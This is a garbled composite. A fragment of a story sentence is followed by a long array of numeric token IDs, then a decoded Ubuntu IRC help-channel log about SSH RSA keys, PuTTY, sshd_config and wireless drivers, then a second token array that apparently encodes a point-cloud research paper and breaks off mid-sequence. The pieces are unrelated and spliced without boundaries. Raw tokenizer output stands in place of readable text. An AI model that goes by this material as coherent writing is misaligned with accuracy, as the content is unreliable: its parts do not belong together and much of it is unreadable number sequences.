cheerful, at least reassuringly alive – in the passenger car beyond. Apparently, I'd nodded off and managed to combine our current situation and

[ 352, 5605, 479, 281, 2412, 562, 285, 896, 275, 639, 2284, 187, 29, 63, 2641, 25417, 63, 31, 295, 187, 29, 63, 2641, 25417, 63, 31, 594, 13, 1308, 67, 187, 29, 36036, 2501, 31, 42151, 47701, 1508, 2597, 13, 12506, 973, 840, 521, 2316, 366, 29774, 352, 1051, 1163, 37, 187, 29, 248, 1870, 31, 891, 10369, 1053, 626, 923, 2139, 952, 17805, 670, 21126, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 19779, 2501, 13, 6296, 187, 29, 41, 9623, 507, 11917, 31, 42151, 47701, 1508, 2597, 13, 28763, 11755, 1163, 49, 187, 29, 248, 1870, 31, 512, 952, 513, 1024, 310, 20183, 253, 8573, 6571, 285, 21126, 476, 513, 326, 187, 29, 36036, 2501, 31, 42151, 47701, 1508, 2597, 13, 309, 1379, 352, 627, 369, 690, 896, 285, 6593, 627, 1051, 1163, 37, 187, 29, 7083, 1225, 18, 13838, 31, 26013, 1060, 871, 670, 13279, 1200, 285, 391, 6678, 10149, 32, 187, 29, 35270, 14, 12707, 31, 344, 1870, 13, 418, 3788, 48, 187, 29, 35270, 14, 12707, 31, 340, 554, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 10902, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 288, 9623, 507, 11917, 13, 10902, 841, 767, 403, 1900, 2509, 11339, 1841, 281, 1016, 643, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 871, 670, 1051, 7955, 1727, 327, 849, 1199, 2508, 368, 1599, 15, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 19779, 2501, 13, 12506, 4754, 1107, 285, 1107, 4409, 187, 29, 36036, 2501, 31, 23385, 187, 29, 41, 9623, 507, 11917, 31, 42151, 47701, 1508, 2597, 13, 6569, 247, 2257, 9418, 187, 29, 35270, 14, 12707, 31, 32899, 559, 391, 6678, 18207, 3477, 2990, 16164, 16, 3866, 272, 187, 29, 248, 1870, 31, 352, 2789, 479, 10279, 984, 597, 1158, 625, 1612, 18207, 1805, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 973, 309, 717, 2820, 281, 755, 619, 32899, 281, 789, 342, 391, 6678, 10149, 347, 326, 2789, 352, 625, 7895, 3451, 32, 187, 29, 78, 1109, 266, 9884, 18793, 13, 309, 1353, 247, 2264, 295, 361, 67, 672, 352, 3249, 281, 14425, 1051, 42, 20582, 898, 15, 2125, 285, 908, 253, 3153, 2428, 281, 3334, 281, 247, 10299, 4446, 1051, 309, 4272, 352, 275, 767, 7118, 537, 531, 310, 495, 14349, 84, 323, 253, 9485, 13, 285, 581, 310, 608, 14349, 84, 323, 5718, 1051, 9846, 436, 29227, 40614, 5321, 281, 253, 5718, 347, 973, 347, 7533, 285, 5659, 309, 8038, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 4754, 326, 1057, 187, 29, 248, 1870, 31, 533, 697, 760, 10571, 2032, 13, 1175, 12425, 310, 1175, 187, 29, 41, 9623, 507, 11917, 31, 752, 310, 253, 1895, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 4754, 13, 352, 1057, 13, 594, 2296, 253, 2087, 13969, 432, 752, 309, 1849, 3735, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 309, 452, 6337, 32899, 14, 2364, 1541, 428, 85, 391, 6678, 428, 67, 27744, 23, 285, 3562, 253, 10149, 327, 619, 13520, 985, 187, 29, 41, 9623, 507, 11917, 31, 2195, 34164, 187, 29, 32334, 31, 41728, 310, 253, 46251, 7840, 437, 7241, 15, 2594, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 3528, 41, 2347, 936, 323, 10393, 15, 9272, 555, 310, 247, 5322, 41728, 5268, 323, 7464, 28, 352, 476, 320, 1119, 387, 3944, 1358, 2700, 15, 4635, 782, 15, 11707, 423, 15, 2061, 15, 2788, 32395, 84, 7332, 46621, 16, 1065, 555, 16, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 891, 17500, 564, 4130, 2312, 281, 368, 1996, 187, 29, 90, 319, 41386, 31, 1057, 3780, 1060, 871, 849, 281, 1056, 1269, 1403, 18698, 5321, 3492, 281, 247, 2014, 1873, 32, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 733, 1691, 374, 4367, 327, 619, 1728, 14035, 285, 309, 4395, 731, 281, 253, 964, 34164, 11534, 2568, 672, 309, 564, 281, 16164, 327, 619, 8323, 3817, 342, 1691, 555, 352, 760, 1642, 323, 619, 2622, 16164, 187, 29, 35270, 14, 12707, 31, 891, 751, 14604, 20477, 559, 17899, 15439, 559, 1691, 555, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 309, 369, 1563, 253, 7997, 1060, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 42378, 9807, 3528, 41, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 368, 452, 281, 1691, 581, 2234, 327, 253, 2303, 5145, 285, 1978, 253, 643, 1980, 15, 187, 29, 35270, 14, 12707, 31, 2789, 20893, 275, 2439, 10104, 1199, 6927, 187, 29, 336, 2188, 293, 31, 288, 78, 187, 29, 35, 300, 536, 2993, 78, 31, 8452, 40724, 253, 637, 448, 853, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 1113, 9357, 9623, 310, 987, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 2119, 533, 943, 2649, 672, 309, 564, 281, 16164, 342, 1691, 555, 1642, 323, 253, 2234, 32, 187, 29, 248, 1870, 31, 3343, 403, 359, 5015, 670, 637, 30, 39842, 7223, 32, 187, 29, 248, 1870, 31, 390, 751, 637, 30, 13961, 32, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 285, 417, 1581, 479, 281, 16164, 1293, 352, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 326, 434, 247, 6661, 327, 253, 2303, 32899, 64, 5397, 187, 29, 75, 6934, 3079, 31, 3780, 871, 849, 309, 476, 19495, 253, 12077, 1269, 2061, 3596, 981, 8220, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 388, 9623, 507, 11917, 309, 1160, 2119, 281, 10007, 253, 32899, 69, 64, 5397, 1873, 187, 29, 55, 25630, 31, 7306, 1225, 18, 13838, 13, 368, 878, 281, 6455, 253, 12605, 561, 1200, 2234, 281, 247, 1691, 555, 3055, 2234, 1873, 313, 377, 76, 1873, 582, 285, 840, 1127, 1691, 555, 2584, 352, 15, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 752, 1057, 32899, 69, 64, 5397, 1007, 751, 352, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 309, 1353, 7016, 13, 309, 5486, 253, 2303, 32899, 69, 64, 5397, 187, 29, 89, 63, 3211, 63, 89, 31, 355, 80, 187, 29, 248, 1870, 31, 355, 80, 187, 29, 90, 319, 41386, 31, 973, 436, 1537, 320, 629, 273, 619, 1895, 1269, 1403, 18698, 310, 327, 577, 89, 2568, 13520, 760, 556, 598, 281, 495, 15, 2222, 275, 253, 30905, 187, 29, 41, 9623, 507, 11917, 31, 2195, 23164, 4805, 1040, 13035, 18, 13838, 187, 29, 32334, 31, 13035, 18, 13838, 27, 15596, 4805, 310, 247, 2579, 281, 1501, 2709, 14, 12490, 17438, 594, 368, 1053, 626, 10802, 253, 5048, 15, 380, 14425, 15596, 4805, 310, 387, 3944, 1358, 23164, 15, 5646, 15, 681, 313, 11145, 2119, 368, 1918, 441, 253, 10611, 323, 634, 15596, 428, 923, 671, 253, 5048, 9400, 10, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 3944, 1358, 32628, 466, 15, 2061, 16, 30176, 9519, 187, 29, 4614, 895, 263, 18, 31, 32063, 1240, 18963, 187, 29, 48079, 13182, 31, 14260, 13, 516, 2820, 281, 4352, 20850, 1056, 13, 285, 516, 2970, 247, 2228, 2391, 516, 2509, 436, 1232, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 31189, 2290, 276, 9143, 73, 22933, 19517, 18747, 2593, 187, 29, 63, 2641, 25417, 63, 31, 8261, 187, 29, 4614, 895, 263, 18, 31, 846, 10805, 896, 327, 271, 1711, 17440, 13, 604, 891, 513, 891, 88, 3550, 891, 476, 923, 512, 253, 11744, 2036, 319, 83, 661, 275, 619, 2170, 2, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 858, 368, 19855, 32899, 69, 32, 187, 29, 4614, 895, 263, 18, 31, 19235, 13, 891, 476, 626, 923, 731, 275, 2990, 7205, 285, 891, 476, 626, 4684, 187, 29, 4614, 895, 263, 18, 31, 667, 5697, 32, 187, 29, 63, 2641, 25417, 63, 31, 5111, 1051, 187, 29, 63, 2641, 25417, 63, 31, 352, 43303, 598, 2761, 3253, 187, 29, 4614, 895, 263, 18, 31, 891, 88, 3550, 1218, 17, 660, 66, 2987, 2, 187, 29, 4614, 895, 263, 18, 31, 11017, 11, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 4754, 604, 368, 1599, 20850, 1227, 14069, 16, 4478, 15, 69, 16, 34164, 19855, 187, 29, 63, 2641, 25417, 63, 31, 512, 253, 3148, 2538, 403, 4783, 187, 29, 41, 9623, 507, 11917, 31, 32899, 69, 19855, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 672, 368, 1333, 2303, 368, 1599, 253, 985, 309, 717, 12873, 1512, 987, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 4754, 15, 417, 9106, 2119, 13, 533, 5604, 3133, 751, 368, 943, 417, 452, 26703, 9604, 38305, 4754, 15, 187, 29, 63, 2641, 25417, 63, 31, 12506, 285, 2716, 273, 352, 310, 327, 253, 23055, 313, 249, 2806, 285, 3168, 10, 285, 2716, 273, 352, 310, 327, 253, 16556, 3601, 187, 29, 4065, 900, 365, 31, 14260, 627, 309, 452, 1160, 253, 3332, 2715, 15047, 432, 1049, 21704, 533, 309, 1335, 452, 271, 2523, 342, 253, 327, 4450, 3066, 3492, 11291, 1178, 835, 407, 309, 651, 4665, 326, 253, 3601, 310, 417, 31255, 672, 309, 2118, 8323, 670, 390, 672, 309, 897, 253, 14084, 2534, 275, 667, 2898, 15, 1680, 627, 690, 1039, 309, 476, 11322, 436, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 671, 440, 13982, 1852, 14897, 1025, 25076, 4505, 186, 6, 73, 14206, 34164, 16, 24463, 64, 12305, 187, 29, 63, 2641, 25417, 63, 31, 1308, 67, 187, 29, 89, 2435, 66, 31, 1067, 900, 365, 27, 513, 368, 452, 271, 9806, 3492, 3120, 7974, 12402, 187, 29, 1473, 30399, 7232, 31, 1067, 900, 365, 13, 368, 476, 3164, 3490, 253, 3492, 6254, 281, 18287, 66, 604, 352, 434, 3515, 346, 13917, 995, 533, 352, 1833, 3164, 1056, 3045, 7197, 533, 4993, 1841, 187, 29, 4065, 900, 365, 31, 1269, 2435, 66, 27, 642, 352, 310, 271, 40791, 3066, 21477, 532, 1178, 8527, 3492, 187, 29, 4614, 895, 263, 18, 31, 891, 1353, 2221, 2810, 15844, 891, 88, 3550, 1218, 17, 11017, 2722, 512, 85, 344, 6928, 559, 619, 23093, 275, 253, 2170, 13, 752, 1057, 326, 1599, 32, 352, 2097, 11744, 2987, 987, 32, 187, 29, 4614, 895, 263, 18, 31, 533, 891, 476, 626, 4684, 281, 352, 13, 5046, 891, 816, 878, 281, 14932, 619, 23093, 13, 187, 29, 1473, 30399, 7232, 31, 352, 2097, 368, 476, 11017, 1985, 895, 263, 18, 187, 29, 1473, 30399, 7232, 31, 534, 2097, 629, 273, 253, 6254, 310, 2444, 24457, 187, 29, 41, 9623, 507, 11917, 31, 1985, 895, 263, 18, 13, 4754, 352, 2097, 11744, 476, 789, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 671, 13, 1053, 626, 1158, 368, 971, 7890, 49, 2300, 4754, 13, 984, 326, 434, 849, 19676, 1411, 13492, 441, 1808, 1443, 6569, 13, 309, 2868, 15, 187, 29, 41, 9623, 507, 11917, 31, 1113, 9357, 9623, 13, 352, 310, 4754, 187, 29, 282, 909, 7352, 4529, 31, 14260, 512, 187, 29, 41, 9623, 507, 11917, 31, 1113, 9357, 9623, 13, 923, 1386, 10484, 352, 2296, 897, 49, 312, 4754, 187, 29, 41, 9623, 507, 11917, 31, 458, 909, 7352, 4529, 13, 18981, 187, 29, 5546, 9357, 9623, 31, 388, 9623, 507, 11917, 27, 987, 13, 326, 434, 752, 309, 1599, 187, 29, 4614, 895, 263, 18, 31, 419, 3227, 187, 29, 282, 909, 7352, 4529, 31, 812, 3095, 2028, 479, 849, 4095, 755, 616, 10865, 10607, 285, 5017, 8220, 50276, 74, 1900, 1869, 352, 369, 751, 436, 27, 10295, 34472, 2813, 2879, 13, 4245, 18198, 1173, 752, 352, 6057, 13, 18198, 1173, 2789, 7632, 13, 285, 771, 856, 12133, 253, 4569, 10865, 187, 29, 282, 909, 7352, 4529, 31, 533, 840, 891, 3047, 253, 353, 25517, 795, 45767, 64, 2234, 187, 29, 282, 909, 7352, 4529, 31, 275, 18198, 1173, 187, 29, 4614, 895, 263, 18, 31, 277, 2320, 555, 7232, 27, 594, 891, 476, 626, 4684, 281, 619, 2990, 13, 667, 5697, 752, 281, 513, 1735, 32, 619, 29227, 3548, 626, 787, 10274, 4759, 187, 29, 282, 909, 7352, 4529, 31 ]

it wants me to log out and back in agai <^Phantom^> n <^Phantom^> so, brb <swiftarrow> penguins2387, oh well then his roomate deserved it... :D <hector> i seriously don't see why people complain about linux <penguins2387> swiftarrow, indeed <Hiemanshu> penguins2387, thats funny :P <hector> all people do now is surf the internet mostly and linux can do that <swiftarrow> penguins2387, I take it there was some back and forth there... :D <crash1hd> Anyone here know about openssh and rsa keys? <orange-wedge> hector, LMAO <orange-wedge> yep <Hiemanshu> crash1hd, yeah <penguins2387> hiemanshu, yeah these two are always doing stupid things to each other <carpediem> crash1hd: know about...depends on how much detail you mean. <penguins2387> swiftarrow, oh yes years and years worth <swiftarrow> lol <Hiemanshu> penguins2387, happens a lot :) <orange-wedge> ssh + rsa equals easy network login/scripting <hector> it makes me mad because they think more power equals better <crash1hd> Hiemanshu, carpediem well I am trying to get my ssh to work with rsa keys as that makes it more secure correct? <mrman_> Hey, I'm a total n00b when it comes to Ubuntu...I downloaded 9.04 and used the livecd to install to a flash drive... I divided it in two sections..one is 3 gigs for the OS, and one is 5 gigs for storage...will this usbUbuntu save to the storage as well as settings and programs I installed? <Hiemanshu> crash1hd, yes that does <hector> but its only partially true, good coding is good <Hiemanshu> what is the problem? <carpediem> crash1hd: yes, it does, so says the general consensus from what I've heard <crash1hd> Hiemanshu, carpediem I have ran ssh-keygen -t rsa -b 4096 and created the keys on my ubuntu system <Hiemanshu>!ssh <ubottu> SSH is the Secure SHell protocol. See https://help.ubuntu.com/community/SSHHowto for usage. Putty is a nice SSH client for Windows; it can be found at http://www.chiark.greenend.org.uk/~sgtatham/putty/ <penguins2387> i gotta go everyone talk to you later <yowshi> does anyone here know how to make xawtv save video to a single file? <crash1hd> Hiemanshu, carpediem It put 2 files on my home dir and I moved them to the.ssh folder yet when I go to login on my windows box with putty it only ask for my normal login <orange-wedge> i like batch scripts + google desktop + putty <crash1hd> Hiemanshu, carpediem I was following the instructions here https://help.ubuntu.com/community/AdvancedOpenSSH <carpediem> crash1hd: you have to put one key on the target machine and keep the other local. <orange-wedge> makes logging in across profiles much easier <cemmel> hm <BilokShem> Who eats the man chode? <Hiemanshu> crash1hd, carpediem is right <crash1hd> carpediem, sure but shouldnt when I go to login with putty ask for the key? <hector> wait are we talking about man=manual pages? <hector> or like man=human? <crash1hd> carpediem, and not allow me to login without it? <carpediem> crash1hd: that's a configuration on the target ssh_config <josh43> anyone know how I can disable the automatic xorg configuring?? <crash1hd> carpediem, Hiemanshu I made sure to modify the sshd_config file <Vatie> Crash1hd, you need to convert the Openssh key to a putty private key file (ppk file), and then point putty toward it. <Hiemanshu> crash1hd, what does sshd_config look like it? <carpediem> crash1hd: I'm sorry, I meant the target sshd_config <x^code^x> alo <hector> alo <yowshi> well this might be part of my problem xawtv is on 4x yet ubuntu only has up to 3.95 in the repo <Hiemanshu>!pastebin | crash1hd <ubottu> crash1hd: pastebin is a service to post multiple-lined texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu.com (make sure you give us the URL for your paste - see also the channel topic) <crash1hd> Hiemanshu, carpediem http://pastie.org/475250 <radixor1> woah!!!! <jaypur> hi, im trying to hit sudo make, and im getting a error.... im doing this process https://help.ubuntu.com/community/SoundTroubleshooting HP dx section <^Phantom^> okay <radixor1> after falling back on an olddriver, if i do iwlist i can see all the wireless netowrks in my area! <Hiemanshu> crash1hd, did you restart sshd? <radixor1> unfortunately, i can't see them in network manager and i can't connect <radixor1> any ideas? <^Phantom^> um... <^Phantom^> it messed up almost everything <radixor1> iwlist ra0 sca works! <radixor1> scan* <crash1hd> Hiemanshu, yes if you mean sudo /etc/init.d/ssh restart <^Phantom^> all the display effects are gone <Hiemanshu> sshd restart <crash1hd> carpediem, when you say target you mean the system I am connecting too right <carpediem> crash1hd: yes. not totally sure, but certainly seems like you should not have ChallengeResponseAuthentication yes. <^Phantom^> oh and half of it is on the tv (in black and white) and half of it is on the laptop screen <calliope> hi there I have made the recent version upgrade from april but I still have an issue with the on board via video chipset where by I would interpret that the screen is not refreshing when I move windows about or when I use the scroll bar in any application. Is there some way I can resolve this? <Hiemanshu> crash1hd, also uncomment #AuthorizedKeysFile %h/.ssh/authorized_keys <^Phantom^> brb <xangua> calliope: do you have an intel video cardÂ¿ <daftykins> calliope, you can probably force the video driver to vesa if it's running "via", but it'll probably make performance worse but fix things <calliope> xangua: no it is an onboard via chiipset integrated video <radixor1> i'm super close!!! iwlist ra0 scan shows allt he networks + my router in the area, what does that mean? it means wireless works right? <radixor1> but i can't connect to it, maybe i just need to reset my router, <daftykins> it means you can scan radixor1 <daftykins> which means part of the driver is working ;) <Hiemanshu> radixor1, yes it means wireless can work <carpediem> crash1hd: also, don't think you want UsePAM yes, because that's how authentication against Linux usernames happens, I believe. <Hiemanshu> carpediem, it is yes <leeguy92> hi all <Hiemanshu> carpediem, see line 77 it says usePam yes <Hiemanshu> leeguy92, hey <carpediem> Hiemanshu: right, that's what I mean <radixor1> haha <leeguy92> could someone tell me how devices get their drivers loaded and stuff?? i always thought it was like this: kernel detects device added, gives udev what it knows, udev makes nodes, and modprobes the appropriate drivers <leeguy92> but then i saw the MODULE _matching_ key <leeguy92> in udev <radixor1> daftykins: so i can't connect to my network, any ideas what to do next? my usb isn't blinking green <leeguy92>

[ 390, 17170, 1340, 31429, 949, 253, 897, 273, 45900, 5871, 689, 10302, 13849, 281, 3720, 2792, 15, 1723, 13, 359, 2868, 326, 253, 4081, 9706, 285, 1566, 35615, 3959, 767, 2022, 11361, 689, 5368, 1127, 9005, 6928, 27, 313, 66, 10, 2169, 15180, 6733, 285, 313, 67, 10, 4473, 1230, 19554, 13, 3477, 14, 936, 14, 303, 3018, 11333, 326, 513, 417, 10725, 327, 247, 2173, 2990, 10336, 390, 2430, 2840, 11454, 2990, 8090, 15, 187, 187, 424, 26600, 484, 4306, 42590, 6019, 15397, 281, 15115, 323, 374, 37, 3888, 13, 35190, 9860, 310, 247, 3626, 1039, 273, 9706, 495, 37, 1491, 15, 43275, 3676, 3210, 497, 4081, 326, 789, 342, 35190, 42590, 347, 14800, 575, 683, 2056, 321, 3230, 6620, 87, 1004, 3024, 28, 1214, 33980, 6961, 8625, 45558, 28, 1214, 78, 3508, 7798, 87, 19, 87, 1570, 1723, 13, 253, 2022, 18928, 273, 436, 9706, 310, 616, 23664, 10454, 15, 831, 1543, 275, 247, 1029, 2408, 273, 941, 3058, 281, 13613, 1957, 253, 2553, 15, 4952, 4942, 1781, 42590, 407, 776, 1655, 3541, 7465, 4816, 8196, 63, 20, 13, 17558, 63, 20, 7884, 403, 417, 4209, 323, 271, 7899, 6779, 273, 1029, 4294, 9421, 751, 1966, 8248, 15, 2058, 253, 1072, 673, 13, 436, 1511, 273, 46092, 1320, 1543, 275, 1077, 23507, 14118, 672, 908, 281, 1957, 495, 37, 9421, 27, 954, 273, 253, 4644, 6341, 403, 33303, 15, 831, 2789, 436, 6779, 271, 31334, 2553, 30047, 275, 2709, 4088, 15, 329, 1180, 273, 3082, 369, 4081, 281, 11399, 436, 1895, 575, 683, 33317, 7132, 68, 9866, 28, 1214, 363, 909, 2146, 7132, 22947, 3024, 1570, 1723, 13, 253, 1895, 273, 9999, 1029, 4294, 4278, 4558, 13, 2366, 342, 247, 1781, 3541, 33257, 285, 1698, 15180, 6733, 323, 3515, 2410, 17009, 15, 187, 187, 424, 52, 1300, 4181, 4910, 6019, 1535, 7157, 456, 6704, 4181, 4910, 313, 53, 3871, 13139, 10, 209, 575, 683, 1915, 1417, 12487, 8625, 45558, 28, 1214, 1826, 49766, 7330, 76, 460, 291, 12213, 28, 1214, 363, 909, 2146, 7132, 22947, 3024, 12213, 28, 1214, 32429, 7132, 6017, 6484, 28, 1214, 91, 1205, 1252, 3655, 69, 8992, 28, 1214, 1473, 74, 7798, 22798, 19, 36742, 28, 1214, 30844, 9638, 615, 2265, 4989, 62, 476, 320, 11575, 347, 247, 3626, 6880, 273, 35190, 42590, 27, 597, 4657, 4181, 14, 936, 14, 26555, 1491, 275, 9860, 1341, 3185, 273, 247, 2969, 35190, 7908, 15, 3900, 436, 10571, 501, 14503, 253, 1895, 273, 9999, 2553, 1491, 13, 253, 23664, 8284, 323, 3541, 285, 253, 1698, 15180, 6733, 323, 2410, 17009, 4558, 15, 496, 5301, 13, 776, 1332, 476, 320, 11575, 347, 581, 326, 4648, 271, 10341, 8578, 273, 2792, 432, 253, 4181, 1673, 15, 380, 9560, 3064, 310, 326, 253, 4181, 1673, 359, 3410, 432, 310, 10698, 285, 1327, 14, 39315, 456, 13, 285, 253, 1180, 273, 3530, 310, 14495, 281, 253, 1180, 273, 2792, 275, 253, 3236, 9005, 15, 844, 2007, 7409, 253, 4602, 875, 35190, 42590, 13, 308, 3871, 13139, 285, 378, 3299, 275, 5466, 15, 575, 1447, 2377, 4674, 27, 47109, 4207, 187, 187, 424, 19, 37, 20553, 6019, 8035, 1846, 5700, 310, 281, 2199, 495, 37, 15029, 281, 374, 37, 9421, 285, 840, 4647, 2629, 31225, 323, 374, 37, 3280, 5162, 15, 831, 3797, 6864, 8115, 575, 683, 44217, 1252, 3357, 69, 1092, 4898, 8115, 575, 683, 84, 782, 274, 7798, 28269, 1092, 347, 973, 347, 247, 5235, 273, 4471, 14, 1374, 3210, 575, 683, 3467, 6620, 23939, 28, 1214, 76, 1351, 91, 11938, 7798, 43151, 3024, 28, 1214, 71, 1205, 7798, 72, 16788, 9866, 1570, 1639, 375, 600, 2905, 403, 7274, 326, 2199, 495, 37, 15029, 715, 28394, 285, 4647, 19474, 2410, 17009, 281, 5115, 22090, 31429, 575, 683, 383, 23841, 7798, 28269, 28, 1214, 1940, 864, 7798, 1033, 16635, 1570, 3900, 12378, 14, 3169, 7274, 921, 1029, 7200, 275, 20741, 800, 8892, 313, 42070, 13, 5281, 25064, 582, 597, 403, 26401, 3710, 275, 9999, 15029, 326, 452, 2709, 2802, 71, 3502, 16236, 20624, 432, 6024, 6849, 15, 496, 5301, 13, 776, 9706, 6974, 476, 13613, 14003, 2553, 1491, 273, 5113, 342, 10341, 18080, 347, 359, 921, 275, 776, 4679, 275, 5466, 15, 575, 1447, 4674, 27, 12792, 4207, 187, 187, 1231, 1024, 6266, 253, 5933, 323, 26736, 253, 4081, 3720, 1127, 6779, 432, 247, 1677, 1127, 9005, 15, 187, 187, 6942, 1712, 4674, 27, 9349, 94, 187, 4738, 187, 187, 1835, 21386, 1320, 15, 187, 187, 510, 3559, 9706, 5933, 3936, 247, 873, 273, 1127, 16173, 347, 3280, 669, 2407, 92, 57, 94, 426, 9121, 1594, 64, 74, 13, 891, 30, 18, 13, 393, 6768, 13, 268, 393, 3363, 6000, 1127, 9005, 476, 452, 247, 1027, 1180, 273, 2792, 370, 79, 64, 74, 18965, 187, 187, 7010, 2043, 92, 2132, 94, 187, 57, 64, 74, 426, 32080, 2407, 92, 89, 2026, 74, 18, 2023, 393, 6768, 13, 393, 2407, 92, 89, 2026, 249, 64, 74, 889, 2023, 393, 2407, 92, 89, 2026, 1944, 94, 393, 249, 393, 1991, 92, 51, 2306, 69, 13, 187, 61, 1968, 92, 2574, 27, 3659, 64, 18534, 889, 423, 92, 2132, 2138, 187, 187, 2811, 370, 69, 30, 20, 5, 323, 253, 1083, 273, 495, 37, 1127, 16173, 15, 496, 247, 806, 3213, 13, 359, 39142, 512, 1127, 16173, 281, 247, 4944, 247, 3943, 4023, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 464, 2407, 92, 89, 2026, 1944, 599, 426, 393, 1124, 2386, 2407, 92, 89, 2026, 1944, 599, 428, 393, 1991, 92, 38, 17738, 2407, 92, 89, 2026, 1944, 599, 393, 3549, 1594, 64, 74, 17098, 2407, 92, 89, 2026, 1944, 599, 7780, 4090, 6263, 2407, 92, 89, 2026, 1944, 599, 393, 249, 1594, 64, 74, 2704, 21837, 2407, 92, 89, 2026, 1944, 599, 428, 393, 1991, 92, 38, 17738, 2407, 92, 89, 2026, 1944, 599, 393, 3549, 1594, 64, 74, 17098, 2407, 92, 89, 2026, 1944, 12191, 93, 8503, 393, 14570, 891, 13, 480, 15, 187, 61, 1968, 92, 2574, 27, 8522, 64, 12850, 889, 423, 92, 2132, 2138, 187, 187, 1835, 475, 35, 3299, 11, 5140, 15, 187, 187, 9301, 13, 359, 830, 247, 475, 40265, 1127, 873, 4556, 1198, 436, 4836, 13, 359, 3410, 370, 76, 5, 3632, 2792, 432, 247, 4023, 273, 247, 1677, 9941, 370, 83, 18965, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 35, 94, 426, 544, 464, 2407, 92, 67, 2026, 18, 8503, 34845, 1926, 2407, 92, 67, 2026, 76, 599, 3725, 53, 13, 50276, 464, 2407, 92, 67, 2026, 75, 61, 249, 599, 50276, 61, 1991, 92, 51, 2306, 69, 13, 11045, 1926, 2407, 92, 67, 2026, 75, 3080, 93, 11049, 391, 15, 187, 61, 1968, 92, 2574, 27, 40265, 889, 423, 92, 2132, 2138, 187, 187, 1147, 310, 1774, 281, 3748, 326, 436, 873, 310, 10341, 533, 4229, 323, 512, 1127, 16173, 275, 253, 10895, 15, 370, 83, 5, 285, 370, 76, 5, 403, 4373, 22041, 273, 253, 1332, 13, 285, 370, 76, 5, 476, 320, 908, 281, 3653, 253, 5454, 14, 2727, 875, 15180, 10454, 285, 253, 32422, 273, 253, 6779, 15, 187, 187, 1835, 36350, 10272, 15, 187, 187, 9301, 13, 359, 830, 247, 4735, 4972, 323, 1046, 1127, 9005, 275, 247, 10895, 407, 12672, 253, 8723, 4181, 432, 1046, 3720, 1127, 281, 253, 5275, 1127, 275, 253, 1127, 9005, 762, 8180, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 89, 2000, 74, 1743, 2407, 92, 35, 599, 426, 24430, 1222, 6263, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 18, 13, 7780, 2407, 92, 89, 2026, 1944, 12104, 8503, 393, 6768, 13, 393, 1222, 6263, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 76, 13, 599, 1926, 2407, 92, 89, 2026, 1944, 12104, 599, 3725, 53, 13, 393, 6274, 3202, 187, 464, 2407, 92, 89, 2026, 74, 16052, 2407, 92, 35, 599, 393, 249, 393, 1991, 92, 51, 1990, 76, 7165, 393, 1968, 92, 2574, 27, 40265, 64, 8155, 889, 423, 92, 2132, 2138, 187, 187, 42297, 13, 352, 310, 1896, 281, 4657, 253, 2120, 36799, 1491, 275, 253, 830, 273, 18687, 11390, 432, 1016, 3720, 1127, 281, 253, 5275, 1127, 275, 253, 3236, 1127, 9005, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 57, 2000, 74, 1743, 2407, 92, 35, 599, 426, 393, 2760, 17567, 2760, 1035, 4820, 29468, 1662, 1222, 17738, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 82, 32222, 2407, 92, 89, 2026, 1944, 12104, 599, 428, 1926, 2407, 92, 67, 2026, 82, 599, 393, 2760, 1572, 2760, 12499, 50276, 61, 249, 393, 1991, 92, 51, 1990, 76, 393, 3181, 277, 2023, 393, 1968, 92, 2574, 27, 40265, 64, 10801, 889, 423, 92, 2132, 2138, 187, 187, 8665, 1491, 670, 5275, 2792, 33820, 33270, 2193, 13, 2553, 5222, 932, 10, 476, 320, 9809, 347, 629, 273, 436, 4229, 6779, 15, 380, 4735, 13782, 310, 12800, 275, 2667, 15, 575, 1447, 926, 27, 926, 18, 4207, 380, 23276, 